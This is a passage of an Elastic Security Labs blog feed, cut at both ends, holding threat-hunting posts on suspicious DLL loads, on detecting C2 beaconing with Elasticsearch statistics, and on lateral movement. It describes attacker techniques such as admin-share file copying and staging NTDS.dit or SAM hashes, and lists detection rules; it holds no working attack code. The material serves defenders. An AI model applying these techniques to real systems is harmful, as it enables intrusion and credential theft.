<p>Another interesting scenario is identifying a DLL load event where the DLL has a suspicious creation time, and which could be a result of timestomping. This query compares inconsistencies between the creation time and filename modification time using dll.Ext.relative_file_name_modify_time and dll.Ext.relative_file_creation_time immediately followed by an image load: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1070151e549ec9fb/6a7d7d02de2315e295fd4d6b/image1.jpg" alt="" /></p>
<p>The following is an example where malware drop DLLs in trusted directories and then use timestomping to ensure those DLLs blend in with existing files in those directories: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt02682a9d74d2597d/6a7d7d05e88c65b3d00088cc/image22.jpg" alt="" /></p>
<h3 id="dllfromremovabledevice">DLL from removable device</h3>
<p>DLL side-loading from a removable device is still a valid infection vector, especially for air-gapped networks. An example was recently shared by <a href="https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia">Mandiant</a> involving an espionage-oriented threat. The following EQL query can be used to find similar behavior: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt271bbef0da6e124d/6a7d7d0873d9bd33be29ab31/image24.jpg" alt="" /></p>
<p>Here is an example with several matches: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ef194233bdba889/6a7d7d0b42a117c56d959063/image31.jpg" alt="" /></p>
<h2 id="protectionrules">Protection Rules</h2>
<p>Elastic provides significant capabilities for identifying unusual or malicious library load events with existing behavior protection rules that take advantage of Windows Libraries events:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_ntdll_loaded_from_an_unusual_path.toml">NTDLL Loaded from an Unusual Path</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_ntdll_image_load.toml">Suspicious NTDLL Image Load</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dll_loaded_from_an_archive_file.toml">DLL Loaded from an Archive File</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_loaded_a_dropped_executable_file.toml">Microsoft Office Loaded a Dropped Executable File</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_from_an_iso_mounted_device.toml">Suspicious ImageLoad from an ISO Mounted Device</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_evasion_via_oversized_image_load.toml">Potential Evasion via Oversized Image Load</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_via_windows_update_auto_update_client.toml">Suspicious ImageLoad via Windows Update Auto Update Client</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_privilege_escalation_via_microsoft_exchange_dll_hijacking.toml">Privilege Escalation via Microsoft Exchange DLL Hijacking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_microsoft_signed_binary.toml">Potential DLL SideLoad via a Microsoft Signed Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_renamed_signed_binary.toml">Potential DLL SideLoad via a Renamed Signed Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml">Library Load of a File Written by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_search_order_hijacking_of_an_existing_program.toml">Potential DLL Search Order Hijacking of an Existing Program</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_dllregisterserver_execution_via_msiexec.toml">Suspicious DLLRegisterServer Execution via MSIEXEC</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_imageload_of_a_file_dropped_via_smb.toml">ImageLoad of a File dropped via SMB</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml">RunDLL32/Regsvr32 Loads Dropped Executable</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml">Unusual DLL Extension Loaded by Rundll32 or Regsvr32</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml">RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_initial_access_via_dll_search_order_hijacking.toml">Potential Initial Access via DLL Search Order Hijacking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml">Suspicious Control Panel DLL Loaded by Explorer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_protected_process_light_bypass_via_dll_tampering.toml">Protected Process Light Bypass via DLL Tampering</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_dll_redirection.toml">Potential Privilege Escalation via DLL Redirection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml">Potential Privilege Escalation via Missing DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation.toml">Potential Privilege Escalation via Elevated IFileOperation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_service_dll_unsigned.toml">Suspicious DLL Loaded by Svchost</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_dll_loaded_from_a_removable_media.toml">Suspicious DLL Loaded from a Removable Media</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml">Suspicious Control Panel DLL Loaded by Explorer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dynwrapx_image_load_via_windows_scripts.toml">Dynwrapx Image Load via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_image_load_via_windows_scripts.toml">Suspicious Image Load via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_image_load_with_a_spoofed_creation_time.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Compared to detections that rely on process execution events and where adversaries expose more detection opportunities via command-line flags and parent process relationships, designing detections based on DLL events requires more enrichment and correlation to decrease noise rate and increase confidence.</p>
<p>In this publication we shared numerous examples of how we’re using DLL events to identify threats. You can use the different capabilities Elastic endpoint offers to produce higher signal alerts, too. Given the multitude of methods of delivering malicious code as DLLs, though, relying on behavioral detections alone is not enough. Combining this logic with malware file classification, shellcode detection features, and user-entity based analytics (UEBA) improves the fidelity of this metadata for detection purposes.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion</link>
    <guid isPermaLink="false">Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte98d9897636d5231/6a7d7d0ebdcff0cfedc3ffb3/blog-thumb-roman-columns.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Identifying beaconing malware using Elastic]]></title>
    <description><![CDATA[In this blog, we walk users through identifying beaconing malware in their environment using our beaconing identification framework.]]></description>
    <content:encoded><![CDATA[<p>The early stages of an intrusion usually include initial access, execution, persistence, and command-and-control (C2) beaconing. When structured threats use zero-days, these first two stages are often not detected. It can often be challenging and time-consuming to identify persistence mechanisms left by an advanced adversary as we saw in the <a href="https://www.elastic.co/blog/elastic-security-provides-free-and-open-protections-for-sunburst">2020 SUNBURST supply chain compromise</a>. Could we then have detected SUNBURST in the initial hours or days by finding its C2 beacon?</p>
<p>The potential for beaconing detection is that it can serve as an early warning system and help discover novel persistence mechanisms in the initial hours or days after execution. This allows defenders to disrupt or evict the threat actor before they can achieve their objectives. So, while we are not quite "left of boom" by detecting C2 beaconing, we can make a big difference in the outcome of the attack by reducing its overall impact.</p>
<p>In this blog, we talk about a beaconing identification framework that we built using Painless and aggregations in the Elastic Stack. The framework can not only help threat hunters and analysts monitor network traffic for beaconing activity, but also provides useful indicators of compromise (IoCs) for them to start an investigation with. If you don’t have an Elastic Cloud cluster but would like to try out our beaconing identification framework, you can start a <a href="https://cloud.elastic.co/registration">free 14-day trial</a> of Elastic Cloud.</p>
<h2 id="beaconingaprimer"><strong>Beaconing — A primer</strong></h2>
<p>An enterprise's defense is only as good as its firewalls, antivirus, endpoint detection and intrusion detection capabilities, and SOC (Security Operations Center) — which consists of analysts, engineers, operators administrators, etc. who work round the clock to keep the organization secure. Malware however, enters enterprises in many different ways and uses a variety of techniques to go undetected. An increasingly common method being used by adversaries nowadays to evade detection is to use C2 beaconing as a part of their attack chain, given that it allows them to blend into networks like a normal user.</p>
<p>In networking, beaconing is a term used to describe a continuous cadence of communication between two systems. In the context of malware, beaconing is when malware periodically calls out to the attacker's C2 server to get further instructions on tasks to perform on the victim machine. The frequency at which the malware checks in and the methods used for the communications are configured by the attacker. Some of the common protocols used for C2 are HTTP/S, DNS, SSH, and SMTP, as well as common cloud services like Google, Twitter, Dropbox, etc. Using common protocols and services for C2 allows adversaries to masquerade as normal network traffic and hence evade firewalls.</p>
<p>While on the surface beaconing can appear similar to normal network traffic, it has some unique traits with respect to timing and packet size, which can be modeled using standard statistical and signal processing techniques.</p>
<p>Below is an example of a Koadic C2 beacon, which serves the malicious payload using the DLL host process. As you can see, the payload beacons consistently at an interval of 10 minutes, and the source, as well as destination packet sizes, are almost identical.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bbc44f36f5ee46f/6a7d823c42a11748a0959139/1-koadic-beacon.png" alt="Example of a Koadic C2 beacon" title="Example of a Koadic C2 beacon" /></p>
<p>It might seem like a trivial task to catch C2 beaconing if all beacons were as neatly structured and predictable as the above. All one would have to look for is periodicity and consistency in packet sizes. However, malware these days is not as straightforward.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1fbee2423094970f/6a7d823fc2cc0992332466a0/2-emotet-beacon.jpg" alt="Example of an Emotet beacon" title="Example of an Emotet beacon" /></p>
<p>Most sophisticated malware nowadays adds a "jitter" or randomness to the beacon interval, making the signal more difficult to detect. Some malware authors also use longer beacon intervals. The beaconing identification framework we propose accounts for some of these elusive modifications to traditional beaconing behavior.</p>
<h2 id="ourapproach"><strong>Our approach</strong></h2>
<p>We’ve discussed a bit about the why and what — in this section we dig deeper into how we identify beaconing traffic. Before we begin, it is important to note that beaconing is merely a communication characteristic. It is neither good nor evil by definition. While it is true that malware heavily relies on beaconing nowadays, a lot of legitimate software also exhibits beaconing behaviour.</p>
<p>While we have made efforts to reduce false positives, this framework should be looked at as a means for beaconing identification to help reduce the search space for a threat hunt, not as a means for detection. That said, indicators produced by this framework, when combined with other IoCs, can potentially be used to detect on malicious activity.</p>
<p>The beacons we are interested in comprise traffic from a single running process on a particular host machine to one or more external IPs. Given that the malware can have both short (order of seconds) and long (order of hours or days) check-in intervals, we will restrict our attention to a time window that works reasonably for both and attempt to answer the question: “What is beaconing in my environment right now or recently?” We have also parameterized the inputs to the framework to allow users to configure important settings like time window, etc. More on this in upcoming sections.</p>
<p>When dealing with large data sets, such as network data for an enterprise, you need to think carefully about what you can measure, which allows you to scale effectively. Scaling has several facets, but for our purposes, we have the following requirements:</p>
<ol>
<li>Work can be parallelised over different shards of data stored on different machines</li>
<li>The amount of data that needs to move around to compute what is needed must be kept manageable.</li>
</ol>
<p>Multiple approaches have been suggested for detecting beaconing characteristics, but not all of them satisfy these constraints. For example, a popular choice for detecting beacon timing characteristics is to measure the interval between events. This proves to be too inefficient to use on large datasets because the events can't be processed across multiple shards.</p>
<p>Driven by the need to scale, we chose to detect beaconing by bucketing the data in the time window to be analyzed. We gather the event count and average bytes sent and received in each bucket. These statistics can be computed in MapReduce fashion and values from different shards can be combined at the coordinating node of an Elasticsearch query.</p>
<p>Furthermore, by controlling the ratio between the bucket and window lengths, the data we pass per running process has predictable memory consumption, which is important for system stability. The whole process is illustrated diagrammatically below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3e5cee267901e383/6a7d8242227b1c09f2595828/3-bucketing-data.jpg" alt="Bucketing data for analysis" title="Bucketing data for analysis" /></p>
<p>A key attribute of beaconing traffic is it often has similar netflow bytes for the majority of its communication. If we average the bytes over all the events that fall in a single bucket, the average for different buckets will in fact be even more similar. This is just the law of large numbers in action. A good way to measure similarity of several positive numbers (in our case these are average bucket netflow bytes) is using a statistic called the <a href="https://en.wikipedia.org/wiki/Coefficient_of_variation">coefficient of variation</a> (COV). This captures the average relative difference between the values and their mean. Because this is a relative value, a COV closer to 0 implies that values are tightly clustered around their mean.</p>
<p>We also found that occasional spikes in the netflow bytes in some beacons were inflating the COV statistic. In order to rectify this, we simply discarded low and high percentile values when computing the COV, which is a standard technique for creating a robust statistic. We threshold the value of this statistic to be significantly less than one to detect this characteristic of beacons.</p>
<p>For periodicity, we observed that signals displayed one of two characteristics when we viewed the bucket counts. If the period was less than the time bucket length (i.e. high frequency beacons), then the count showed little variation from bucket to bucket. If the period was longer than the time bucket length (i.e. low frequency beacons), then the signal had high autocorrelation. Let's discuss these in detail.</p>
<p>To test for high frequency beacons, we use a statistic called <a href="https://en.wikipedia.org/wiki/Index_of_dispersion">relative variance</a> (RV). The rate of many naturally occurring phenomena are well described by a <a href="https://en.wikipedia.org/wiki/Poisson_distribution#Occurrence_and_applications">Poisson distribution</a>. The reason for this is that if events arrive randomly at a constant average rate and the occurrence of one event doesn’t affect the chance of others occurring, then their count in a fixed time interval must be Poisson distributed.</p>
<p>Just to underline this point, it doesn’t matter the underlying mechanisms for that random delay between events (making a coffee, waiting for your software to build, etc.)— if those properties hold, their rate distribution is always the same. Therefore, we expect that the bucket counts to be Poisson distributed for much of the traffic in our network, but not for beacons, which are much more regular. A feature of the Poisson distribution is that its variance is equal to its average, i.e. its RV is 1. Loosely, this means that if the RV of our bucket counts is closer to 0, the signal is more regular than a Poisson process.</p>
<p><a href="https://en.wikipedia.org/wiki/Autocorrelation">Autocorrelation</a> is a useful statistic for understanding when a time series repeats itself. The basic idea behind autocorrelation is to compare the time series values to themselves after shifting them in time. Specifically, it is the covariance between the two sets of values (which is larger when they are more similar), normalized by dividing it by the square root of the variances of the two sets, which measures how much the values vary among themselves.</p>
<p>This process is illustrated schematically below. We apply this to the time series comprising the bucket counts: if the signal is periodic then the time bucketed counts must also repeat themselves. The nice thing about autocorrelation from our perspective is that it is capable of detecting any periodic pattern. For example, the events don’t need to be regularly spaced but might repeat like two events occurring close to one another in time, followed by a long gap and so on.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt485c1596b69a0327/6a7d8245bd219817287552e1/4-diagramming-representation.jpg" alt="" /></p>
<p>We don’t know the shift beforehand that will maximize the similarity between the two sets of values, so we search over all shifts for the maximum. This, in effect, is the period of the data — the closer its autocorrelation is to one, the closer the time series is to being truly periodic. We threshold the autocorrelation close to one to test for low frequency beacons.</p>
<p>Finally, we noted that most beaconing malware these days incorporates jitter. How does autocorrelation deal with this? Well first off, autocorrelation isn’t a binary measure — it is a sliding scale: the closer the value is to 1 the more similar the two sets of values are to one another. Even if they are not identical but similar it can still be close to one. In fact, we can do better than this by modelling how random jitter affects autocorrelation and undoing its effect. Provided the jitter isn’t too large, the process to do this turns out to be about as complex as just finding the maximum autocorrelation.</p>
<p>In our implementation, we’ve made the percentage configurable, although one would always use a small-ish percentage to avoid flagging too much traffic as periodic. If you'd like to dig into the gory details of our implementation, all the artifacts are available as a GitHub <a href="https://github.com/elastic/detection-rules/releases/tag/ML-Beaconing-20211216-1">release</a> in our detection rules repository.</p>
<h2 id="howdowedothisusingelasticsearch"><strong>How do we do this using Elasticsearch?</strong></h2>
<p>Elasticsearch has some very powerful tools for ad hoc data analysis. The <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-metrics-scripted-metric-aggregation.html">scripted metric aggregation</a> is one of them. The nice thing about this aggregation is that it allows you to write custom Painless scripts to derive different metrics about your data. We used the aggregation to script out the beaconing tests.</p>
<p>In a typical environment, the cardinality of the distinct processes running across endpoints is rather high. Trying to run an aggregation that partitions by every running process is therefore not feasible. This is where another feature of the Elastic Stack comes in handy. A <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/transforms.html">transform</a> is a complex aggregation which paginates through all your data and writes results to a destination index.</p>
<p>There are various basic operations available in transforms, one of them being partitioning data at scale. In our case, we partitioned our network event logs by host and process name and ran our scripted metric aggregation against each host-process name pair. The transform also writes out various beaconing related indicators and statistics. A sample document from the resulting destination index is as follows:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9cb15672aef136bc/6a7d8247de2315a9e8fd4e5a/5-sample-beaconing.jpg" alt="Sample document produced by the beaconing transform" title="Sample document produced by the beaconing transform" /></p>
<p>As you can see, the document contains valuable beaconing-related information about the process. First off, the beacon_stats.is_beaconing indicator says whether or not we found the process to be beaconing. If it is, as in the case above, the document will also contain important metadata, such as the frequency of the beacon. The indicator beacon_stats.periodic says whether or not the signal is a low-frequency beacon, while the indicator beacon_stats.low_count_variation indicates whether or not it is a high-frequency beacon.</p>
<p>Furthermore, the indicators beacon_stats.low_source_bytes_variation and low_destination_bytes_variation indicate whether or not the source and destination bytes sent during the beaconing communication were more or less uniform. Finally, you will also notice the beaconing_score indicator, which is a value from 1-3, representing the number of beaconing tests satisfied by the process for that time period.</p>
<p>Writing such metadata out to an index also means that you can search for different facets of beaconing software in your environment. For example, if you want to search for low frequency beaconing processes in your environment, you would query for documents where the beacon_stats.periodic indicator is true and beacon_stats.low_count_variation is false. You can also build second order analytics on top of the indexed data, such as using <a href="https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html">anomaly detection</a> to find rare beaconing processes, or using a <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-significantterms-aggregation.html">significant terms aggregation</a> to detect lateral movement of beaconing malware in your environment.</p>
<p>Finally, we’ve included several dashboards for your threat hunters and analysts to use for monitoring beaconing activity in your environment. These can be found in the <a href="https://github.com/elastic/detection-rules/releases/tag/ML-Beaconing-20211216-1">release package</a> as well.</p>
<h2 id="tuningparametersandfiltering"><strong>Tuning parameters and filtering</strong></h2>
<p>Advanced users can also tune important parameters to the scripted metric aggregation in the transforms, like jitter percentage, time window, etc. If you'd like to change the default parameters, all you would need to do is delete the transform, change the parameters, and restart it. The parameters you can tune are as follows:</p>
<ul>
<li>number_buckets_in_range: The number of time buckets we split the time window into. You need enough to ensure you get reasonable estimates for the various statistics, but too many means the transform will use more memory and compute.</li>
<li>time_bucket_length: The length of each time bucket. This controls the time window, so the larger this value the longer the time window. You might set this longer if you want to check for very low frequency beacons.</li>
<li>number_destination_ips: The number of destination IPs to gather in the results. Setting this higher increases the transform resource usage.</li>
<li>max_beaconing_bytes_cov: The maximum coefficient of variation in the payload bytes for the low source and destination bytes variance test. Setting this higher will increase the chance of detecting traffic as beaconing, so would likely increase <a href="https://en.wikipedia.org/wiki/Precision_and_recall">recall</a> for malicious C2 beacons. However, it will also reduce the <a href="https://en.wikipedia.org/wiki/Precision_and_recall">precision</a> of the test.</li>
<li>max_beaconing_count_rv: The maximum relative variance in the bucket counts for the high frequency beacon test. As with max_beaconing_bytes_cov, we suggest tuning this parameter based on the kind of tradeoff you want between precision and recall.</li>
<li>truncate_at: The lower and upper fraction of bucket values discarded when computing max_beaconing_bytes_cov and max_beaconing_count_rv. This allows you to ignore occasional changes in traffic patterns. However, if you retain too small a fraction of the data, these tests will be unreliable.</li>
<li>min_beaconing_count_autocovariance: The minimum autocorrelation of the signal for the low frequency beacon test. Lowering this value will likely result in an increase in recall for malicious C2 beacons, at the cost of reduced test precision. As with some of the other parameters mentioned above, we suggest tuning this parameter based on the kind of tradeoff you want between precision and recall.</li>
<li>max_jitter: The maximum amount by which we assume that a periodic beacon is jittered, as a fraction of its period.</li>
</ul>
<p>You can also make changes to the transform query. We currently look for beaconing activity over a 6h time range, but you can change this to a different time range. As mentioned previously, beaconing is not a characteristic specific to malware and a lot of legitimate, benign processes also exhibit beaconing-like activity.</p>
<p>In order to curb the false positive rate, we have included a starter list of filters in the transform query to exclude known benign beaconing processes that we observed during testing, and a list of IPs that fall into two categories:</p>
<ol>
<li>The source IP is local and the destination is remote</li>
<li>For certain Microsoft processes, the destination IP is in a Microsoft block</li>
</ol>
<p>You can add to this list based on what you see in your environment.</p>
<h2 id="evaluation"><strong>Evaluation</strong></h2>
<p>In order to measure the effectiveness of our framework as a reduced search space for beaconing activity, we wanted to test two aspects:</p>
<ol>
<li>Does the framework flag actual malicious beaconing activity?</li>
<li>By how much does the framework reduce the search space for malicious beacons?</li>
</ol>
<p>In order to test the performance on malware beacons, we ran the transform on some synthetic data as well as some real malware! We set up test ranges for Emotet and Koadic, and also tested it on NOBELIUM logs we had from several months ago. The results from the real malware tests are worth mentioning here.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb618f73fbea6b50e/6a7d824a3ce8e2697ccf269c/6-beaconing-metadata.jpg" alt="Beaconing metadata for NOBELIUM" title="Beaconing metadata for NOBELIUM" /></p>
<p>For NOBELIUM, the beaconing transform catches the offending process, rundll32.exe, as well as the two destination IPs, 192.99.221.77 and 83.171.237.173, which were among the main IoCs for NOBELIUM.</p>
<p>For Koadic and Emotet as well, the transform was able to flag the process as well as the known destination IPs on which the test C2 listeners were running. The characteristics of each of the beacons were different. For example, Koadic was a straightforward, high-frequency beacon that satisfied all the beaconing criteria being checked in the transform i.e. periodicity, as well as low variation of source and destination bytes. Emotet was slightly trickier since it was a low frequency beacon with a high jitter percentage. But we were able to detect it due to the low variation in the source bytes of the beacon.</p>
<p>To test the amount of reduction in search space, we ran the transform over three weeks on an internal cluster that was receiving network event logs from ~ 2k hosts during the testing period. We measured the reduction in search space based on the number of network event log messages, processes, and hosts an analyst or threat hunter would have to sift through before and after running the transform, in order to identify malicious beacons. The numbers are as follows:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1597d54443afdaf7/6a7d8256de23151282fd4e5e/7-search-space-reduction.jpg" alt="Search space reduction metrics as a result of the beaconing transform" title="Search space reduction metrics as a result of the beaconing transform" /></p>
<p>While the reduction in search space is obvious, another point to note is the scale of data that the transforms are able to churn through comfortably, which becomes an important aspect to consider, especially in production environments. Additionally, we have also released dashboards (available in the <a href="https://github.com/elastic/detection-rules/releases/tag/ML-Beaconing-20211216-1">release package</a>), which track metrics like prevalence of the beaconing processes, etc. that can help make informed decisions about further filtering of the search space.</p>
<p>While the released dashboards, and the statistics in the above table are based on cases where the beacon_stats.is_beaconing indicator is true i.e. beacons that satisfy either of the beaconing tests, threat hunters may want to further streamline their search by starting with the most obvious beaconing-like cases and then moving on to the less obvious ones. This can be done by filtering and searching by the beacon_stats.beaconing_score indicator instead of beacon_stats.is_beaconing, where a score of 3 indicates a typical beacon (satisfying tests for periodicity as well as low variation in packet bytes), and score of 1 indicates a less obvious beacon (satisfying only one of the three tests).</p>
<p>For reference, we observed the following on our internal cluster:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbdb9934554d801d1/6a7d825933fa8a8d081ff995/Screen_Shot_2022-01-06_at_4.36.40_PM.jpg" alt="Streamlining your threat hunt using the Beaconing Score indicator" title="Streamlining your threat hunt using the Beaconing Score indicator" /></p>
<h2 id="whatsnext">What's next</h2>
<p>We’d love for you to try out our beaconing identification framework and give us feedback as we work on improving it. If you run into any issues during the process, please reach out to us on our <a href="https://ela.st/slack">community Slack channel</a>, <a href="https://discuss.elastic.co/c/security">discussion forums</a>, or even our <a href="https://github.com/elastic/detection-rules">open detections repository</a>. Stay tuned for Part 2 of this blog, where we’ll cover going from identifying beaconing activity to actually detecting on malicious beacons!</p>
<p>Try out our beaconing identification framework with a <a href="https://cloud.elastic.co/registration">free 14-day trial</a> of Elastic Cloud.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/identifying-beaconing-malware-using-elastic</link>
    <guid isPermaLink="false">identifying-beaconing-malware-using-elastic</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Apoorva Joshi,Thomas Veasey,Craig Chamberlain]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0c5de7ce5483c043/6a7d825b448e4e13d15bdb60/blog-thumbnail-securitymaze.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Hunting for Lateral Movement using Event Query Language]]></title>
    <description><![CDATA[Elastic Event Query Language (EQL) correlation capabilities enable practitioners to capture complex behavior for adversary Lateral Movement techniques. Learn how to detect a variety of such techniques in this blog post.]]></description>
    <content:encoded><![CDATA[<p><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a> describes techniques that adversaries use to pivot through multiple systems and accounts to improve access to an environment and subsequently get closer to their objective. Adversaries might install their own remote access tools to accomplish Lateral Movement, or use stolen credentials with native network and operating system tools that may be stealthier in blending in with normal systems administration activity.</p>
<p>Detecting Lateral Movement behaviors often involves the design of detections at both the source and the target system, as well as the correlation of more than one type of event (such as network events with process execution events) in order to capture the remote execution context.</p>
<p>In this blog, we explore some examples of techniques and leverage the capabilities of Elastic’s <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">Event Query Language (EQL)</a> to design behavioral hunts and detections.</p>
<h2 id="howlateralmovementworks"><strong>How Lateral Movement works</strong></h2>
<p>Lateral Movement is usually composed of the following high-level steps:</p>
<ol>
<li>Remote authentication to the target host (valid access credentials are required)</li>
<li>Staging the command to execute to the remote host or to another resource accessible by the target host such as internet URL or a Network File Share</li>
<li>Remotely triggering the execution (immediate or scheduled) of the staged program on the target host via accessible remote services and protocols (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/705b624a-13de-43cc-b8a2-99573da3635f">Service</a>, <a href="https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page">Task Scheduler</a>, <a href="https://docs.microsoft.com/en-us/windows/win32/winrm/portal">WinRM</a>, <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page">WMI</a>, <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78">Remote Registry</a>).</li>
<li>Clean up the staged payload and any other relevant artifacts to avoid suspicion (optional)</li>
</ol>
<p>Note that staging a program (step 2) is not always necessary, as there are usually exposed services that allow for remote interaction with the target host such as <a href="https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1">PowerShell Remoting</a> and <a href="https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-clients">Remote Desktop (RDP)</a>.</p>
<h2 id="lateraltooltransfer"><strong>Lateral Tool Transfer</strong></h2>
<p>Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. A commonly abused vector is <a href="https://attack.mitre.org/techniques/T1570/">SMB/Windows Admin Shares</a> via the use of built-in system commands such as copy, move copy-item, and others:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd27de71e95d69d8/6a7d81548fc2d000d93eb8b7/cmd-running-as-local-host-blog-hunting-lateral-movement.jpg" alt="cmd-running-as-local-host-blog-hunting-lateral-movement.jpg" title="cmd-running-as-local-host-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 1: File copy via system command</em></p>
<p>From the source machine, there are alternative methods of copying the file without having to execute suspicious commands. Still, it’s important to look for low-hanging detection opportunities.</p>
<p>Figure 2 below shows an EQL query that looks for the following behavior that is consistent with an attacker transferring a file to a remote host:</p>
<ul>
<li>Execution of a command interpreter with a <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-args">process.args</a> keyword array related to file copy (copy, move) and a hidden file share (prefixed by a $ sign such as c$ admin$)</li>
<li>Staging data from a shadow copy volume (often associated with credential access via staging of <a href="https://attack.mitre.org/techniques/T1003/003/">NTDS.dit</a> or <a href="https://attack.mitre.org/techniques/T1003/002/">Registry SAM</a> key to access stored account password hashes)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0fe232191569aad7/6a7d8156c2cc09596b24668a/2-hunting-eql-file-transfer-blog-hunting-lateral-movement.jpg" alt="2-hunting-eql-file-transfer-blog-hunting-lateral-movement.jpg" title="2-hunting-eql-file-transfer-blog-hunting-lateral-movement.jpg" /></p>
